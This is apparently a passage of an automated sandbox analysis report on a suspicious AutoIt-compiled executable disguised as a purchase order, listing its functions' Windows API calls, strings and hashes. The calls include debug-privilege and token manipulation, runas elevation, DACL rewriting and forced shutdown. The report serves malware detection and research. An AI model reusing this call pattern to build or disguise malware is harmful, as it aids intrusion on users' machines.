                                                                                                                                                                      • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                                                                                                                      Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                                                                                                                      • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                                                                                                                      • GetLastError.KERNEL32 ref: 004644B4
                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                                                                                                                      • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                                                                                                                      • String ID: SeDebugPrivilege
                                                                                                                                                                      • API String ID: 1312810259-2896544425
                                                                                                                                                                      • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                      • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                                                                                                                      • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                      • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                                                                                                                      Function 0040D6D0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 141windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                                                                                                                        • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PO 4800040256.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                                                                                                        • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                                                                                                                        • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                                                                                                                        • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                                                                                                                        • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                                                                                                                        • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                                                                                                                      • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                                                                                                                      • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\PO 4800040256.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                                                                                                                        • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\PO 4800040256.exe,00000004), ref: 0040D7D6
                                                                                                                                                                      • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\PO 4800040256.exe,00000004), ref: 00431B0E
                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\PO 4800040256.exe,00000004), ref: 00431B3F
                                                                                                                                                                      • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                                                                                                                      • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                                                                                                                        • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                        • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                        • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                        • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                        • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                        • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                        • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                        • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                        • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                        • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                        • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                        • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                                                                                                                        • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                                                                                                                      • String ID: @GH$@GH$C:\Users\user\Desktop\PO 4800040256.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                                                                                                                      • API String ID: 2493088469-1742426253
                                                                                                                                                                      • Opcode ID: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                                                                                                                      • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                                                                                                                                                                      • Opcode Fuzzy Hash: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                                                                                                                      • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E
                                                                                                                                                                      Function 004037E0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 359COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                                                                                                                      • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 004038B2
                                                                                                                                                                        • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 004038C7
                                                                                                                                                                      • _wcscat.LIBCMT ref: 004038DC
                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                        • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                        • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                                                                                                                        • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 004039C2
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00403A53
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00403AAA
                                                                                                                                                                      Strings
                                                                                                                                                                      • Unterminated string, xrefs: 0042B9BA
                                                                                                                                                                      • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                                                                                                                      • Error opening the file, xrefs: 0042B8AC
                                                                                                                                                                      • _, xrefs: 00403B48
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                      • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                                                                                                                      • API String ID: 4115725249-188983378
                                                                                                                                                                      • Opcode ID: 3d47019ae40ddf295a6fa6cd32c8ae21ab53d4334480ddcc4f0e34d1fe96fec4
                                                                                                                                                                      • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                                                                                                                      • Opcode Fuzzy Hash: 3d47019ae40ddf295a6fa6cd32c8ae21ab53d4334480ddcc4f0e34d1fe96fec4
                                                                                                                                                                      • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                                                                                                                      Function 00434BEE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                                                                                                                      • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                                                                                                                                                                      • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                                                                                                                      • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                                                                                                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                                      • String ID: *.*
                                                                                                                                                                      • API String ID: 1409584000-438819550
                                                                                                                                                                      • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                      • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                                                                                                                      • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                      • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                                                                                                                      Function 00444078 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94timesleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Timetime$Sleep
                                                                                                                                                                      • String ID: BUTTON
                                                                                                                                                                      • API String ID: 4176159691-3405671355
                                                                                                                                                                      • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                                      • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                                                                                                                                                                      • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                                      • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                                                                                                                                                                      Function 00445DD3 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                                                                                                        • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                                                                                                        • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                                                                                                        • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                                                                                                      • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                                                                                                                      • _memset.LIBCMT ref: 00445E61
                                                                                                                                                                      • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                                                                                                                      • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                                                                                                                      • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                                                                                                                      • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                                                                                                                      • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                                                                                                                      • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                                                                                                                      • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                                                                                                                      • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                                                                                                                      • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                                                                                                                      • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3490752873-0
                                                                                                                                                                      • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                                      • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                                                                                                                      • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                                      • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                                                                                                                      Function 0047A999 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288comCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • OleInitialize.OLE32(00000000), ref: 0047AA03
                                                                                                                                                                      • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                                                                                                                                                                      • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                                                                                                                                                                      • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                                                                                                                                                                      • _memset.LIBCMT ref: 0047AB7C
                                                                                                                                                                      • _wcslen.LIBCMT ref: 0047AC68
                                                                                                                                                                      • _memset.LIBCMT ref: 0047ACCD
                                                                                                                                                                      • CoCreateInstanceEx.OLE32 ref: 0047AD06
                                                                                                                                                                      • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                                                                                                                                                                      Strings
                                                                                                                                                                      • NULL Pointer assignment, xrefs: 0047AD84
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                                                                                                                                                                      • String ID: NULL Pointer assignment
                                                                                                                                                                      • API String ID: 1588287285-2785691316
                                                                                                                                                                      • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                                      • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                                                                                                                      • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                                      • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                                                                                                                      Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                                                                                                                      • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                                                                                                                      • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00436504
                                                                                                                                                                      • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                                                                                                                      • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                                                                                                                      • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                                                                                                                      • String ID: SeShutdownPrivilege
                                                                                                                                                                      • API String ID: 2938487562-3733053543
                                                                                                                                                                      • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                      • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                                                                                                                      • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                      • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                                                                                                                      Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __swprintf.LIBCMT ref: 00436162
                                                                                                                                                                      • __swprintf.LIBCMT ref: 00436176
                                                                                                                                                                        • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00436185
                                                                                                                                                                      • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                                                                                                                      • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                                                                                                                      • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                                                                                                                      • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                                                                                                                      • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                                                                                                                      • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                                                                                                                      • LockResource.KERNEL32(?), ref: 004361FD
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2406429042-0
                                                                                                                                                                      • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                      • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                                                                                                                      • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                      • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                                                                                                                      Function 0045D517 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                                                                                                                                                                      • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0045D59D
                                                                                                                                                                      • SetErrorMode.KERNEL32(?), ref: 0045D629
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
